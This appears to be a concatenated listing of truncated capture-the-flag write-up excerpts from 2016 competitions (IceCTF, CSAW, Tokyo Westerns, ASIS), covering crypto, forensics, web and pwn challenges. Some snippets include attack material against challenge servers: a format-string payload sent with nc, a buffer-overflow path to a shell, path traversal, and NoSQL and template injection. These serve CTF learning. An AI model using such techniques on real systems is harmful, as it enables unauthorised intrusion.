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#!/usr/bin/env python3
"""encode.pyc is a compiled python file. The first 2 bytes \x16\x0d == 3350 mean that it's a python3 file. Python3.4 throws a bad magic number error, but python3.5 works. After trying a couple python decompilers, I found that unpyc3 worked the best:```duck@computer:~/Downloads$ python3.5 ../unpyc... |
Search - misc - 40 points
Hint: There's something about this domain... search.icec.tf, I don't see anything, but maybe its all about the conTEXT. Url : http://search.icec.tf/
Looking at the TXT records with " dig -t TXT search.icec.tf "
The flag is then showed
Flag: IceCTF{flag5_all_0v3r_the_Plac3} |
# Kitty (Web - 70 Points, 568 solves)
> They managed to secure their website this time and moved the hashing to the server :(. We managed to leak this hash of the admin's password though! c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a. Can you get the flag? [kitty.vuln.icec.tf](http://kitty.vuln.icec.... |
# Move Along (Web - 30 Points, 1181 solves)
> [This site](http://move-along.vuln.icec.tf/) seems awfully suspicious, do you think you can figure out what they're hiding?
Solution--------
The first step is to look at the source of the page we are given.
We then notice the picture that is on the homepag... |
Scavenger Hunt - Misc - 50 points
Hint: There is a flag hidden somewhere on our website, do you think you can find it? Good luck!
Used wget to download the whole site, "wget -r icec.tf"cd into the folderstrings * | grep IceCTF{
This will return the flag in a img class
IceCTF{Y0u_c4n7_533_ME_iM_h1Din9} |
#Dear Diary
**Category:** Pwn**Points:** 60**Description:**
We all want to keep our secrets secure and what is more important than our precious diary entries? We made this highly secure diary service that is sure to keep all your boy crushes and edgy poems safe from your parents. nc diary.vuln.icec.tf 6501 [download f... |
# IceCTF 2016 – Blue Monday
## Problem
> Those who came before me lived through their vocations From the past until completion, they'll turn away no more And still I find it so hard to say what I need to say But I'm quite sure that you'll tell me just how I should feel today.
## Solution
Import the MIDI file into a `So... |
# IceCTF 2016 – Vape Nation
## Problem
>Go Green!
## Solution
Mathematica can download the image with `Import[]`.
```mathematicaimage = Import["https://play.icec.tf/problem-static/vape_nation_7d550b3069428e39775f31e7299cd354c721459043cf1a077bb388f4f531d459.png"]```
![vape nation](vape_nation_7d550b3069428e39775f31e7299... |
# IceCTF 2016 – Pretty Pixels
## Problem
>Don't get me wrong, I love pretty colors as much as the next guy... but what does it mean?
## Solution
If we preview the image, it is just pure multicolored noise.
```mathematicaimage = Import["https://play.icec.tf/problem-static/pretty_pixels_604e889db44de75ea4541a23e344b80eb3... |
# IceCTF 2016 – Over the Hill
## Problem
> Over the hills and far away... many times I've gazed, many times been bitten. Many dreams come true and some have silver linings, I live for my dream of a decrypted flag.
## Solution
As hinted at by the name, this challenge uses the [Hill Cipher](https://en.wikipedia.org/wiki/... |
# Dear Diary
O desafio se tratava de um format string, sem entrar em maiores detalhes a respeito da falha, segue a resolução
```greyhound//deadcow ~/fun/icectf/dear_diary % nc diary.vuln.icec.tf 6501 <<< $(python -c 'print "1\n"+"\xa0\xa0\x04\x08"+"%18$s"+"\n2\n3\n"')-- Diary 3000 --
1. add entry2. print latest entry3.... |
## Kitty, web, 70 points
__Description__:
They managed to secure their website this time and moved the hashing to the server :(. We managed to leak this hash of the admin's password though! `c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a`. Can you get the flag? kitty.vuln.icec.tf
__Solver__: [mut3](ht... |
# IceCTF 2016 – Matrix
## Problem
>I like to approach problems with a fresh perspective and try to visualize the problem at hand.
## Solution
Import the challenge file as a list of strings.
```mathematicamatrix = Import[ "https://play.icec.tf/problem-static/matrix_adf1a8f010f541cb171910f7afe1f86d41ce1669c51e318bb84c3c... |
FeatherDuster's Cryptanalib library (http://github.com/nccgroup/featherduster) can be used to solve this challenge rather quickly. The challenge text is below:Problem updated on 7/17/16 @ 8PM EST - fixed valuesI RSA encrypted the same message 3 different times with the same exponent. Can you decrypt it?
N1:796080377165... |
# IceCTF 2016 – Round Rabins!
## Problem
John gave up on RSA and moved to Rabin. ...he still did it wrong though flag.txt. What a box!
## Solution
This problem uses the [Rabin cryptosystem](https://en.wikipedia.org/wiki/Rabin_cryptosystem), but has some implementation flaws.
First, enter the values provided in flag.txt... |
dear_diary==========
**Solved by:** [int10h](https://github.com/brianmwaters) and [mut3](https://github.com/mut3)
> We all want to keep our secrets secure and what is more important than our precious diary entries? We made this highly secure diary service that is sure to keep all your boy crushes and edgy poems safe fr... |
## Thor's a hacker now, misc, 55 points
__Description__:
Thor has been staring at this for hours and he can't make any sense out of it, can you help him figure out what it is? [`thor.txt`](thor.txt)
__Solver__: [mut3](https://github.com/mut3)
This challenge gave a text file containing a hex dump. `xxd -r` reverses hex ... |
Exposed - Web - 60 points
If you scan the site you see they have a .git structure included. Clone the git with "git clone http://exposed.vuln.icec.tf/.git/ "
From there you can see in flag.php that there was a file called flag.txt
Open the commit history for example with gitk
One of the flag.php files includes the fla... |
It’s an animated gif that’s just 2 pixels wide. It looks like what you might see through a narrow gap in a train door, as the problem text implies. We should reconstruct the scene outside the train by separating out the frames of the animation and assembling them side-by-side. See link for script: http://www.johnfren.c... |
<span>using negative values in message length provide us buffer overflow. due to task approach on protecting ret addrs,we can use tls_dtors_list to achieve code execution and run system("/bin/sh");cookie is our problem so we need leaking it.leaking libc addr can be done by overwriting message function args (break *0x08... |
<span>we dont care about 0x0804858d algs. we just know it uses srand+rand to set a one byte base case. so we can use gdb to create and dump 0x100 table :)and then try all the cases to obtain flag</span> |
# IceCTF 2016 – Audio Problems
## Problem
>We intercepted this audio signal, it sounds like there could be something hidden in it. Can you take a look and see if you can find anything?
## Solution
```mathematicasound = Import["https://play.icec.tf/problem-static/audio_problems_210b88f2232e1c9d770bb5d2069c47aabb86301b0a... |
# Can you repo it? (5 pts)
This is just a recon challenge. Searching for "git" in the illintentions.apk, I found:
```res/values/strings.xml: <string name="git_user">l33tdev42</string>```
Going to the github: https://github.com/l33tdev42/
We can see the only app there, and we can see the [latest commit](https://githu... |
[](ctf=mma-ctf-2016)[](type=exploit)[](tags=format string)[](tools=libformatstr)[](techniques=format string)
# greeting (pwn-150)
[Binary](../greeting-1da3bd8f02ee33a89b6f998afbbcc55de162d88c95dbe6a8724aaaea7671cb4c)
[Solution](greeting.py)[](https://as... |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch... |
(Page on link "original writeup" is written in Japanese. Here I write English translation.)A server with hidden key and flag is running. Code in Python is public.This server does: decrypt the data and return to the user, if the user send "decrypt" command and encrypted data decrypt the data and regard it as a command... |
# IceCTF Solutions
This page contains some of the challenges I solved during IceCTF '16.
## Reconnaissance & Forensics### Complacement (40 p)
```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]```
 - MMACTF 2016 Tsurai Web 300 writeup - https://blog.0daylabs.com/2016/09/05/code-execution-python-import-mmactf-300/ |
MongoDB - Extracting data (admin password) using NoSQL Injection - MMACTF 2016 Web 100 writeuphttps://blog.0daylabs.com/2016/09/05/mongo-db-password-extraction-mmactf-100/ |
##Static analysisWin32 native app, not packed, strings are not obfuscated imports CheckRemoteDebuggerPresent(),IsDebuggerPresent() The exe file supports ASLR -base address will change every run- to get the same addresses as mine you have to disable it  There are some links in the strings ,they can help you u... |
# [ALICTF 2016](http://alictf.com/): [homework]
**Category:** Web**Points:** 400 (decreased to 340 by the solves)**Solves:** 12**Description:**
> It's time to submit your homework. > But I'm sure the teacher is too busy to check your homework.
## intro
First of all, this is a great, not so easy (maybe hard? ;) ),involv... |
## Tokey Westerns/MMA CTF 2nd 2016 - judgement (Pwn 50pt)##### 03/09 - 05/09/2016 (48hr)___
### Description: Host : pwn1.chal.ctf.westerns.tokyo
Port : 31729
judgement___### Solution
This challenge was a trivial format string attack. Flag was already loaded in memory at:```assembly .bss:0804A0A0 ; char flag[64] .bss... |
## Tokey Westerns/MMA CTF 2nd 2016 - Reverse Box (Re 50pt)##### 03/09 - 05/09/2016 (48hr)___
### Description: $ ./reverse_box ${FLAG}
95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a
reverse_box.7z___### Solution
Let's start by looking at main() function:
```assembly.te... |
ImgBlog (Web - 130 points, 79 solves)===============================> I found this amazing [blog about Iceland](http://imgblog.vuln.icec.tf/) Did I ever tell you that I love Iceland? It seems to be made from scratch by a single guy although being impressive, he doesn't seem too have much experience with web programming... |
Corrupt Transmission - Forensic - 50 Points
Hint : We intercepted this image, but it must have gotten corrupted during the transmission.Can you try and fix it? File : https://play.icec.tf/problem-static/corrupt_92cee405924ad39fb513e3ef910699b79bb6d45cc5046c051eb9aab3546e22c3.png
Open the file with " xxd -l8 filename "... |
In Tokyo Westerns CTF Rescue Data1:deadnas it is obvious from the description that this is a RAID recovery problem of some sort. Given three files one of which just contains the words "crashed :-(". Doing 'file' on the remaining disk0 file we get...disk0: x86 boot sector, mkdosfs boot message display, code offset 0x3... |
## Dam (Crypto, 277p)
###ENG[PL](#pl-version)
In the task we get access to a service providing some form of encryption.The server challenges us for a PoW before we can interact, so first we had to solve the PoW, but it was the same as for some others tasks (prefix for string giving some hash value).After beating the Po... |
## Tokey Westerns/MMA CTF 2nd 2016 - Global Page (Web 50pt)##### 03/09 - 05/09/2016 (48hr)___
### Description: Welcome to TokyoWesterns' CTF! http://globalpage.chal.ctf.westerns.tokyo/___### Solution
There are 2 url's in home page:``` http://globalpage.chal.ctf.westerns.tokyo/?page=tokyo http://globalpage.chal.ctf.we... |
## Private/Local/Comment (PPC, 50+70+100p)
###ENG[PL](#pl-version)
Set of three tasks where we can execute some Ruby code to steal the flag.
#### Private
First task has code:
```rubyrequire_relative 'restrict'Restrict.set_timeout
class Private private public_methods.each do |method| eval "def #{method.to_s};end" ... |
Author: @axi0mXInformation given: "Watch your heads!"Assuming it was related to an HTTP HEAD request, I ran the following command:$ curl --head https://asis-ctf.ir/challenges/HTTP/1.1 302 FoundServer: nginxDate: Mon, 12 Sep 2016 02:05:42 GMTContent-Type: text/html; charset=utf-8Connection: keep-aliveVary: Accept-Langua... |
## Tokey Westerns/MMA CTF 2nd 2016 - shadow (Pwn 400pt)##### 03/09 - 05/09/2016 (48hr)___
### Description: Host : pwn2.chal.ctf.westerns.tokyo Port : 18294 shadow### Solution
This binary implements a basic vulnerable message service, which is protected with a shadow stackto prevent ROP attacks. The core of the progr... |
## SBBS (Web, 250p) tl;dr use xss to get a 404 error page and then use template injection to get the flag
We're given the source code of a sever that uses flask. The flag is hardcoded into the source but it's not used anywhere, so we either have to steal the source files or somehow extract it from the program.
The sit... |
# pentest (298pt)
Solves: 1
This write-up was made per request of other players who were playing ASIS CTF.
Note: I solved this challenge before the hint was released. \o/
## Description
We got a suspicious [web service](http://ca12379f1163ff045b3ac80842d15bdb.gdn/) which does nothing at all. If you have time to test it... |
Rotated - Crypto - 20points
hint : They went and ROTated the flag by 5 and then ROTated it by 8! The scoundrels! Anyway once they were done this was all that was left VprPGS{jnvg_bar_cyhf_1_vf_3?}
Rot13..
Just paste the "encoded" flag into http://www.rot13.com/
Flag: IceCTF{wait_one_plus_1_is_3?}
|
Description: Well I just loaded, and this is crazy, but here's my address, 172.31.0.10/artisinal_assembly_0331fb4526b5ffee34f6ab66899bac0bRunning objdump on the binary showed minimal obfuscation, as well as a `main` function that seemed to do nothing more than call a bunch of functions: 000000000... |
## Srpp (Crypto, 231p)
###ENG[PL](#pl-version)
We are given quite complicated file, but after simplification, the only important part is this:
```pythonparams = getParams(nbit)N, g, k = paramsemail = 'admin@asis-ctf.ir'client.send('params = (N, g, k) = ' + str(params) + '\n')salt = urandom(32)N, g, _ = paramsx = Hash(s... |
## Dsa (Crypto, 333p)
###ENG[PL](#pl-version)
We are given following python code - it is supposed to sign messages:```python#!/usr/bin/python
from hashlib import *from Crypto.Util.number import *from gmpy import *import os
def param_gen(): q = getPrime(1024) while True: t = 2*getRandomRange(1, 2**256) ... |
All steps to get the flag:ciphertext (octal) ---> (text == brainfuck) ---> (base32 decoded) ---> (base64 decoded) ---> (ROT13) ---> flag#WhiteHat{c706c97220ae8d0cc4d09af735dd9b2ba6e09081} |
<span>The SecurityFest 2016 contained a great CTF with a wide range of challenges. This is a short writeup for how to solve the challenge SHAlien.</span> |
Author: @axi0mXInformation given: Cooking the files reduces their nutritious value. Consume your files raw.We get multiple PNG files which look like noise. Looking at pixels, the red, green, and blue value for all pixels is equal. We can get the data by converting it to a BMP file and removing the 54 byte header.(after... |
Crypto0021. File is in [Octal](https://github.com/drc14/WhiteHackContest12/blob/master/cipher.txt)2. Convert Octal to [ASCII](https://github.com/drc14/WhiteHackContest12/blob/master/output.txt)3. ASCII is in [Brainfuck](https://en.wikipedia.org/wiki/Brainfuck)4. [Brainfuck](https://copy.sh/brainfuck/) yields base 32 st... |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch... |
## One Bad Son (Forensics, 127p) tl;dr get data from bson, concact flag png
Supplied files:
[One_Bad_Son](One_Bad_Son)
It turns out that windbg formats binary data pretty well (cat/hexump/xxd output wasn't so clear):
After some googling, the data turned out to be a [BSON](https://en.wikipedia.org/wiki... |
## RSA (Crypto, 113p)
###ENG[PL](#pl-version)
In the task we get source code of encryption routine, a public key and encrypted flag.The source code is quite simple:
```pythonimport gmpyfrom Crypto.Util.number import *from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_v1_5
flag = open('flag', 'r').read() * ... |
The airline name is "QATARAIRWAYS". The first letters of the films names are "CTXSTDZAO_OK" (I don't know from what film "Olympic games" came).If we sum the two strings char-by-char (and add 1?) we get "TURTLEISL_ND". It looks like a flag (we haven't confirmed it) |
## Regexpire (Misc/PPC, 100p)
###ENG[PL](#pl-version)
Task almost identical to https://github.com/p4-team/ctf/tree/master/2016-06-04-backdoor-ctf/ppc_isolve so we solved it pretty much the same way - with simplified xeger:
```pythonimport socketfrom rstr import xeger
def recvuntil(s, tails): data = "" while True:... |
## Fuzyll (Recon, 200p)
###ENG[PL](#pl-version)
In the task we start off on page http://fuzyll.com/files/csaw2016/start to get a riddle:
```CSAW 2016 FUZYLL RECON PART 1 OF ?: People actually liked last year's challenge, so CSAW made me do it again... Same format as last year, new stuff you need to look up. The next pa... |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch... |
## Sleeping guard (Crypto, 50p)
###ENG[PL](#pl-version)
In the task we get code:
```pythonimport base64from twisted.internet import reactor, protocolimport os
PORT = 9013
import structdef get_bytes_from_file(filename): return open(filename, "rb").read() KEY = "[CENSORED]"
def length_encryption_key(): return l... |
### ChallengeTitle: brainfun Competition: CSAW quals 2016 Category: Forensics Points: 150 Description: Scrambled Fun for Everyone! Author: fang0654 \<brainfun.png\>
### Background- There's nothing hidden in the file other than the pixel data.- The image is 512x512, but can be scaled down 32x32 to match the blocks... |
# Dear Diary (Pwn, 60)
In the task description we are given the following info:>We all want to keep our secrets secure and what is more important than our precious diary entries? We made this highly secure diary service that is sure to keep all your boy crushes and edgy poems safe from your parents.
A little bit info a... |
https://github.com/krx/CTF-Writeups/tree/master/CSAW%2016%20Quals/for250%20-%20Watchwordkidding :Phttps://github.com/krx/CTF-Writeups/blob/master/CSAW%2016%20Quals/for250%20-%20Watchword/jk_actual_w...NOTE: this was done before the stepic/base85 hints were released |
Stage 1: http://fuzyll.com/files/csaw2016/startThis site gives the hint:CSAW 2016 FUZYLL RECON PART 1 OF ?: People actually liked last year's challenge, so CSAW made me do it again... Same format as last year, new stuff you need to look up. The next part is at /csaw2016/<the form ... |
This challenge provides an executable and a libc.so file.
Running this file causes a segfault, so lets look at it in IDA:
The file expects us to pass an argument designating the port number to listen on.
running the program with argument 8000 wil... |
The challenge contains a link to a website:
Going to the about tab reveals that the site uses PHP and git.
The server has it's git directory public available:
I used https://github.com/... |
Slight troll, but a valid solution nonetheless: https://twitter.com/KITCTF/status/777628306954944514 Basically we figured out that the tool uses the same algorithm as https://pokeassistant.com/main/ivcalculator and returns the flag if the Pokemon has 1337 CP and hidden atk/def/stam scores of 13/3/7.We tracked down the ... |
## CSAW CTF 2016 - hungman (Reversing 125pt)##### 16/09 - 18/09/2016 (48hr)___
### Description: key.exe ### Solution
This was an easy windows revering one. When we run the program we get the message: "?W?h?a?t h?a?p?p?e?n?". A quick search for that string takes us into the following code:```assembly.text:00C21224 ... |
This problem is a basic CBC padding oracle attack, as described by Vaudenay in EUROCRYPT 2002, famously used against ASP.NET in 2010, and more recently against Steam in 2016. The problem occurs when a system provides a means for any encrypted data to be decrypted, when: The algorithm is a block cipher such as AES That... |
# DEFCON oCTF 2016 - Progressive Encryption
**Category:** Forensics**Points:** 500**Author:** Yen**Description:**
We recovered this file from an old military public-relations server.I'm pretty sure it contains valuable intel, but the high-resolution details have been obfuscated somehow.[172.31.0.10/Kathryn_Janeway_Lace... |
# IceCTF Solutions
This page contains some of the challenges I solved during IceCTF '16.
## Reconnaissance & Forensics### Complacement (40 p)
```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]```
 and canary leak (option 2).... |
# I Got Id
Regular request:
```POST /cgi-bin/file.pl HTTP/1.1Host: web.chal.csaw.io:8002Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Referer: http://web.chal.csaw.io:8002/cgi-bin/file.plCookie: __cfduid=d6ef413399798aba40580af7... |
# Kill
There is a broken `pcap` file, which we need to fix. Looks like the file was obtained using tool `dumpcap` on Mac OS X:
```$ hexdump -C kill.pcapng | head00000000 aa dd dd aa 8c 00 00 00 4d 3c 2b 1a 01 00 00 00 |........M<+.....|00000010 ff ff ff ff ff ff ff ff 03 00 2f 00 4d 61 63 20 |........../.Mac |000... |
# Aul
If we invoke the `help` command, we can notice that the interpreter is `lua`:
```$ nc pwn.chal.csaw.io 8001let's play a game| 0 0 0 0 0 0 0 0 || 0 1 0 0 0 0 4 0 || 0 3 2 2 4 1 4 4 || 0 3 2 3 2 3 4 3 || 4 b 2 2 4 4 3 4 || 3 2 4 4 1 1 2 2 || 3 3 c d 3 3 2 3 || 3 2 1 4 4 a 2 4 |helphelpLuaS�[ .. SNIP .. ]```
If the ... |
# Warmup
There is a backdoor in the binary and the address is even printed after it starts:```$ objdump -M intel -d warmup | grep "<easy>" -A 6000000000040060d <easy>: 40060d: 55 push rbp 40060e: 48 89 e5 mov rbp,rsp 400611: bf 34 07 40 00 mov edi,0x400734 400616: e8 b... |
# Aul
There was no binary given with this challenge.I tried to connect to the service and after playing for some seconds I foundout that with the `help` command a lot of "garbage" was sent out by the server.I used a simple python script to extract the binary data and put it in a file.
Looking quickly at it, it looks li... |
# mfw (Web, 125pts)
## Problem
Hey, I made my first website today. It's pretty cool and web7.9.http://web.chal.csaw.io:8000/
## Solution
We get simple website, build with PHP, Bootstrap and with Git. Url looks vulnerable for Local File Include and Directory Traversal, but couple of standards payloads returned only "Det... |
# Sleeping guard (50 p)```Only true hackers can see the image in this magic PNG....
nc crypto.chal.csaw.io 8000
Author: Sophia D'Antoine```
Connecting to the server, we get a BASE64 stream of data. Decrypting it, we see that it is not a valid PNG. Let us try simple XOR. We take a known plaintext from another PNG and tr... |
# Sleeping guard (50 p)```Only true hackers can see the image in this magic PNG....
nc crypto.chal.csaw.io 8000
Author: Sophia D'Antoine```
Connecting to the server, we get a BASE64 stream of data. Decrypting it, we see that it is not a valid PNG. Let us try simple XOR. We take a known plaintext from another PNG and tr... |
Can you trick our IRC bot into giving you his flag? Talk to IceBot on glitch.is:6667. Please only send him private messages, you do this by writing /msg IceBot !command. the "help" command has been removed so here is the output from !help. Please consider that he may be slow to respond or the command you're trying may ... |
# Sleeping guard (50 p)```Only true hackers can see the image in this magic PNG....
nc crypto.chal.csaw.io 8000
Author: Sophia D'Antoine```
Connecting to the server, we get a BASE64 stream of data. Decrypting it, we see that it is not a valid PNG. Let us try simple XOR. We take a known plaintext from another PNG and tr... |
## Secu Prim (PPC, 65p)
###ENG[PL](#pl-version)
After connecting to the server we get a PoW to solve, and then the task is to provide number of primes and perfect powers in given range.
The ranges are rather small (less than 2000 numbers in between) so we simply iterate over the given range and use `gmpy` to tell us if... |
# IceCTF Solutions
This page contains some of the challenges I solved during IceCTF '16.
## Reconnaissance & Forensics### Complacement (40 p)
```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]```
```Only true hackers can see the image in this magic PNG....
nc crypto.chal.csaw.io 8000
Author: Sophia D'Antoine```
Connecting to the server, we get a BASE64 stream of data. Decrypting it, we see that it is not a valid PNG. Let us try simple XOR. We take a known plaintext from another PNG and tr... |
Tutorial was an easy pwn in CSAW CTF 2016, worth 200 points.Ok sport, now that you have had your Warmup, maybe you want to checkout the Tutorial.<span>Download the challenge from here.</span> |
# ASIS CTF Finals 2016 : oracle-354
**Category:** Reverse**Points:** 354**Solves:** 0**Description:**
The resident oracle of our temple has risen his prices too high. If only we could understand his [inner workings](oracle.txz), we could get our answers for free.
Hint: [Burrows–Wheeler transform](https://en.wikipedia.o... |
# CSAW CTF 2016 deedeedee (150) Writeup
> Wow! I can run code at compile time! That's a pretty cool way to keep my flags secret. Hopefully I didn't leave any clues behind...
This challenge uses a program which was most probably written in [D](https://en.wikipedia.org/wiki/D_(programming_language)).
As the description s... |
# Sleeping guard (50 p)```Only true hackers can see the image in this magic PNG....
nc crypto.chal.csaw.io 8000
Author: Sophia D'Antoine```
Connecting to the server, we get a BASE64 stream of data. Decrypting it, we see that it is not a valid PNG. Let us try simple XOR. We take a known plaintext from another PNG and tr... |
# CSAW CTF 2016 coinslot Writeup
coinslot was a challenge for 25pts and the description of the challenge was
```nc misc.chal.csaw.io 8000```
Connecting to the server revealed the coinslot game. The coinslot game goes as follows: You are given a certain amount of dollars. Then you have to represent this amount with the ... |
# CSAW CTF 2016 mfw Writeup
mfw was a web challenge that included one flag for 125 points.
When launching the mfw web site at web.chal.csaw.io:8000 was introduced by the phrases
```Welcome to my website!I wrote it myself from scratch!```
and this is how it basically looked like: A navigation pane with three links to ... |
# CSAW CTF 2016 The Rock (100) Writeup
> Never forget the people's champ.
This challenge was about reversing a amd64 linux binary. I you look at the mainfunction with radare2, you'll notice that it seems to be a program written in c++(due to the usage of `std::cin`, `std::cout` and `std::string`).
If you manually trans... |
# CSAW CTF 2016 wtf.sh Writeup
wtf.sh was a challenge that included two flags, one for 150pts and one for 400pts.
## wtf.sh (1) (150pts)
In the first part we needed to call the function `get_flag1` in order to receive the flag. The `post` parameter of `post.wtf` was vulnerable to a path traversal:
```GET /profile.wtf?u... |
# CSAW CTF 2016 wtf.sh Writeup
wtf.sh was a challenge that included two flags, one for 150pts and one for 400pts.
## wtf.sh (1) (150pts)
In the first part we needed to call the function `get_flag1` in order to receive the flag. The `post` parameter of `post.wtf` was vulnerable to a path traversal:
```GET /profile.wtf?u... |
# CSAW CTF 2016 warmup Writeup
coinslot was a pwn challenge for 50pts and the description of the challenge was
```So you want to be a pwn-er huh? Well let's throw you an easy one ;)
nc pwn.chal.csaw.io 8000```
Connecting to the server revealed the following:
```$ nc pwn.chal.csaw.io 8000-Warm Up-WOW:0x40060d>```
At the... |
#HackCon 2016##You Can't See Me
###DescriptionYour time is up, my time is now
You can't see me, my time is now
It's the franchise, boy I'm shinin' now
You can't see me, my time is now!
https://s3-us-west-2.amazonaws.com/hackcon/JohnCena.apk
Flag Format: lower alpha string with no spaces
Operating System: ?
Reported Dif... |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch... |
The challenge provides us with a binary "warmup".Running this binary prints a hex value, then takes user input.
Opening it in ida shows that it is printing the address of some symbol named "easy":
Lets see what this 'e... |
#Corrupt Transmission
O challenge fornecia um arquivo com headers quebrados:```00000000: 90 50 4e 47 0e 1a 0a 1b .PNG....```Como a dica óbvia já deixava claro ser um png, foi só copiar os headers de um png que tinha no meu computador e editar com xxd
```00000000: 89 50 4e 47 0d 0a 1a 0a .PNG...```
e a imagem abriu. |
# CSAW 2016 Quals# warmup##### Brad Daniels -- USF Whitehatter's Computer Security Club##### pwn -- 50 points## DescriptionSo you want to be a pwn-er huh? Well let's throw you an easy one ;)
`nc pwn.chal.csaw.io 8000`
## SolutionWarmup gives you a 64-bit ELF binary. When run, it produces the following output and allows... |
## CSAW CTF 2016 - hungman (Pwn 300pt)##### 16/09 - 18/09/2016 (48hr)___
### Description: nc pwn.chal.csaw.io 8003 ### Solution
After playing a little bit with the program, we can easily find out that this is hangman game (thename of the challenge also gives a hint).
First of all function get_name_400F2D is called ... |
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